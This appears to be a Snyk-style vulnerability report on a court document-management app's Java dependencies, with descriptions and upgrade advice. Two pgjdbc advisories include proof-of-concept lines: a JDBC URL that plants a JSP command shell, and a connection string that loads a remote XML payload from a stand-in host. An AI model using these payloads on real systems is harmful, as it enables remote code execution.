  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework:spring-web@6.2.19
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.3.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.cloud:spring-cloud-starter-openfeign@4.3.3 › org.springframework.cloud:spring-cloud-openfeign-core@4.3.3 › io.github.openfeign:feign-form-spring@13.6.1 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework:spring-webmvc@7.1.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-http-converter@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-servlet@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-data-rest@4.2.0-M2 › org.springframework.data:spring-data-rest-webmvc@5.2.0-M2 › org.springframework.data:spring-data-rest-core@5.2.0-M2 › org.springframework.hateoas:spring-hateoas@3.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-web@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.boot:spring-boot-starter-data-rest@4.2.0-M2 › org.springframework.boot:spring-boot-starter-webmvc@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-M2 › org.springframework.boot:spring-boot-tomcat@4.2.0-M2 › org.springframework.boot:spring-boot-web-server@4.2.0-M2 › org.springframework:spring-web@6.2.19

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the PartEventHttpMessageReader file when maxInMemorySize is set to -1. An attacker can cause excessive memory consumption by uploading large multipart requests.

Note: This is only exploitable if the configuration explicitly sets maxInMemorySize to -1.

Remediation

Upgrade org.springframework:spring-web to version 7.0.9 or higher.

References

high severity

Improper Access Control

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@5.7.12.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Improper Access Control when the application uses AuthenticatedVoter directly and a null authentication parameter is passed to it. Exploiting this vulnerability resulting in an erroneous true return value.

Note

Users are not affected if:

  1. The application does not use AuthenticatedVoter#vote directly.

  2. The application does not pass null to AuthenticatedVoter#vote.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.7.12, 5.8.11, 6.0.10, 6.1.8, 6.2.3 or higher.

References

high severity

Timing Attack

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Timing Attack via the comparison of sensitive values using standard string equality rather than constant-time comparison in DigestAuthenticationFilter, KeyBasedPersistenceTokenService, BalloonHashingPassword4jPasswordEncoder, Pbkdf2Password4jPasswordEncoder, and InMemoryOAuth2AuthorizationService. An attacker can recover secret values such as password hashes, authentication digests, verification keys, or OAuth2 token values by submitting a large number of requests and precisely measuring response times. This is only exploitable if an attacker can make a very large number of requests with low network jitter and precise timing measurements.

Remediation

Upgrade org.springframework.security:spring-security-core to version 7.0.7, 7.1.1 or higher.

References

high severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@5.4.11.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via the RegexRequestMatcher class, which can easily be misconfigured to be bypassed on some servlet containers when it is used with . in the regular expression.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.4.11, 5.5.7, 5.6.4 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Arbitrary Code Injection. DISPUTED

When an arbitrary filename is specified in the loggerFileName connection parameter, a valid JSP file is created and a Remote Code Execution could be performed.

Note: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.

PoC

jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

Remediation

Upgrade org.postgresql:postgresql to version 42.3.3 or higher.

References

high severity

Man-in-the-Middle (MitM)

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@42.2.5.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). It was possible to provide an SSL Factory and not check the host name if a host name verifier was not provided to the driver.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.5 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. spring-security-core configures Jackson with the global default typing enabled. Although Jackson blacklisted known deserialization gadgets, it is still possible for a malicious user to execute arbitrary code on the following conditions:

  1. Spring Security’s Jackson support is being leveraged by invoking SecurityJackson2Modules.getModules(ClassLoader) or SecurityJackson2Modules.enableDefaultTyping(ObjectMapper)
  2. Jackson is used to deserialize data that is not trusted. Spring Security does not perform deserialization using Jackson, so this is an explicit choice of the user.
  3. There is an unknown (Jackson is not blacklisting it already) “deserialization gadget” that allows code execution present on the classpath

This is related to SNYK-JAVA-COMFASTERXMLJACKSONCORE-31507.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

  • Apache Blog

The vulnerability, also know as Mad Gadget

Mad Gadget is one of the most pernicious vulnerabilities we’ve seen. By merely existing on the Java classpath, seven “gadget” classes in Apache Commons Collections (versions 3.0, 3.1, 3.2, 3.2.1, and 4.0) make object deserialization for the entire JVM process Turing complete with an exec function. Since many business applications use object deserialization to send messages across the network, it would be like hiring a bank teller who was trained to hand over all the money in the vault if asked to do so politely, and then entrusting that teller with the key. The only thing that would keep a bank safe in such a circumstance is that most people wouldn’t consider asking such a question.

  • Google

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.3.RELEASE or higher.

References

high severity

Privilege Escalation

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-oauth2-client@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.4.11.

Overview

Affected versions of this package are vulnerable to Privilege Escalation due to allowing a malicious user or attacker to modify a request initiated by the Client (via the browser) to the Authorization Server. This scenario can happen if the Authorization Server responds with an OAuth2 Access Token response containing an empty scope list on the subsequent request to the token endpoint when trying to obtain the access token.

This vulnerability exposes applications that meet all of the following requirements:

  1. Act in the role of a Login Client (e.g. http.oauth2Login())

  2. Use one or more authorization rules with authorities mapped from authorized scopes (e.g. anyRequest().hasAuthority("SCOPE_message.write")) in the client application

  3. Register an authorization server that responds with empty scopes list (per (RFC 6749, Section 5.1)[https://www.rfc-editor.org/rfc/rfc6749#section-5.1])

This vulnerability does not expose applications that:

  1. Act in the role of a Resource Server only (e.g. http.oauth2ResourceServer())

  2. Use authorization rules with authorities not mapped from authorized scopes (e.g. anyRequest().hasAuthority("ROLE_USER")) in the client application

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 5.4.11, 5.6.9, 5.7.5 or higher.

References

high severity

Improper Authentication

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Improper Authentication. The affected versions support plain text passwords using PlaintextPasswordEncoder. If an application using an affected version of Spring Security is leveraging PlaintextPasswordEncoder and a user has a null encoded password, a malicious user (or attacker) can authenticate using a password of null.

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.13.RELEASE or higher.

References

high severity

User Impersonation

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@6.5.11.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to User Impersonation via username extraction in SubjectDnX509PrincipalExtractor. An attacker can impersonate another user by presenting a specially crafted X.509 certificate containing a malformed Common Name (CN) value that causes the extractor to resolve an incorrect username during certificate-based authentication.

Note:

  1. This vulnerability is a continuation of CVE-2026-22747, which addressed the same issue in Spring Security 7.0.x.

  2. Exploitation requires compromise or misuse of a trusted upstream certificate validation process, as this component operates within Spring Security's pre-authentication flow and assumes presented certificates have already been validated.

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.5.11 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: com.fasterxml.jackson.datatype:jackson-datatype-jsr310
  • Introduced through: com.fasterxml.jackson.datatype:jackson-datatype-jsr310@versions.jackson

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.fasterxml.jackson.datatype:jackson-datatype-jsr310@versions.jackson
    Remediation: Upgrade to com.fasterxml.jackson.datatype:jackson-datatype-jsr310@2.9.8.

Overview

com.fasterxml.jackson.datatype:jackson-datatype-jsr310 is a datatype module to make Jackson recognize Java 8 Date & Time API data types (JSR-310).

Affected versions of this package are vulnerable to Improper Input Validation that can cause a Denial of Service (DoS). It appear to be exploitable via the victim deserializes malicious input, specifically very large values in the nanoseconds field of a time value.

Remediation

Upgrade com.fasterxml.jackson.datatype:jackson-datatype-jsr310 to version 2.9.8 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

Remediation

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Authentication Bypass. The strictness of the Spring Security and the Spring Framework request mapping may differ, which could lead to resources not being secured.

Remediation

Upgrade org.springframework.security:spring-security-config to version 4.1.1.RELEASE or higher.

References

high severity

Improper Authorization

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Improper Authorization due to improper validation in the requestMatchers, leading to authorization rule misconfiguration when the application uses requestMatchers(String) and multiple servlets, one of them being Spring MVC’s DispatcherServlet.

Notes:

An application is only vulnerable when all of the following are true:

  1. Spring MVC is on the classpath.

  2. Spring Security is securing more than one servlet in a single application (one of them being Spring MVC’s DispatcherServlet).

  3. The application uses requestMatchers(String) to refer to endpoints that are not Spring MVC endpoints.

Remediation

Upgrade org.springframework.security:spring-security-config to version 5.8.5, 6.0.5, 6.1.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass. The strictness of the Spring Security and the Spring Framework request mapping may differ, which could lead to resources not being secured.

Remediation

Upgrade org.springframework.security:spring-security-web to version 4.1.1.RELEASE or higher.

References

high severity

Security Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Security Bypass. It was found that Spring Security does not consider URL path parameters when processing security constraints. By adding a URL path parameter with an encoded / to a request an attacker may be able to bypass a security constraint.

Remediation

Upgrade org.springframework.security:spring-security-web to version 3.2.10.RELEASE, 4.1.4.RELEASE, 4.2.1.RELEASE or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

  1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

  2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

  3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-core to version 6.1.7, 6.2.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-oauth2-client@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.0.0.RELEASE.

Overview

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

  1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

  2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

  3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 6.1.7, 6.2.2 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass when directly using the AuthenticationTrustResolver.isFullyAuthenticated(Authentication) method and passing a null authentication parameter to it.

Note:

An application is not vulnerable if any of the following is true:

  1. the application does not use AuthenticationTrustResolver.isFullyAuthenticated(Authentication) directly

  2. the application does not pass null to AuthenticationTrustResolver.isFullyAuthenticated

  3. the application only uses isFullyAuthenticated via Method Security or HTTP Request Security

Remediation

Upgrade org.springframework.security:spring-security-web to version 6.1.7, 6.2.2 or higher.

References

high severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via forward or include dispatcher types.

An application is vulnerable when all of the following are true:

  1. The application expects that Spring Security applies security to forward and include dispatcher types.

  2. The application uses the AuthorizationFilter either manually or via the authorizeHttpRequests() method.

  3. The application configures the FilterChainProxy to apply to forward and/or include requests (e.g. spring.security.filter.dispatcher-types = request, error, async, forward, include).

  4. The application may forward or include the request to a higher privilege-secured endpoint.

  5. The application configures Spring Security to apply to every dispatcher type via authorizeHttpRequests().shouldFilterAllDispatcherTypes(true)

An application is not vulnerable if any of the following is true:

  1. The application does not use authorizeHttpRequests() or the AuthorizationFilter.

  2. The application does not forward/include requests.

  3. The application does not need to configure Spring Security to apply to FORWARD and INCLUDE dispatcher types.

Workaround

Users who are unable to upgrade should use AuthorizeRequests().filterSecurityInterceptorOncePerRequest(false) instead of AuthorizeHttpRequests().shouldFilterAllDispatcherTypes(true).

Users with version < 5.7.0 which does not have shouldFilterAllDispatcherTypes available, should add an ObjectPostProcessor:

authorizeHttpRequests().withObjectPostProcessor(new 
 ObjectPostProcessor<AuthorizationFilter>() {
   @Override 
   public<O extends AuthorizationFilter> O postProcess(O filter) { 
    filter.setObserveOncePerRequest(false); 
    filter.setFilterAsyncDispatch(true); 
    filter.setFilterErrorDispatch(true); 
    return filter;
   }});

Note:

In Spring Security 5, the default behavior is to not apply the filters more than once to a request, therefore users have to explicitly configure Spring Security to do that. In addition, the FilterChainProxy is also not configured to be invoked on forward and include dispatcher types.

Remediation

Upgrade org.springframework.security:spring-security-web to version 5.6.9, 5.7.5 or higher.

References

high severity

Authentication Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authentication Bypass. The ActiveDirectoryLdapAuthenticator does not check the password length. If the directory allows anonymous binds then it may incorrectly authenticate a user who supplies an empty password.

Remediation

Upgrade org.springframework.security:spring-security-core to version 3.2.2.RELEASE, 3.1.6.RELEASE or higher.

References

high severity
new

Improper Verification of Cryptographic Signature

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2, org.springframework.cloud:spring-cloud-starter-bootstrap@4.3.3 and others

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-crypto-module@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › org.bouncycastle:bcprov-jdk18on@1.85
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.1.0.
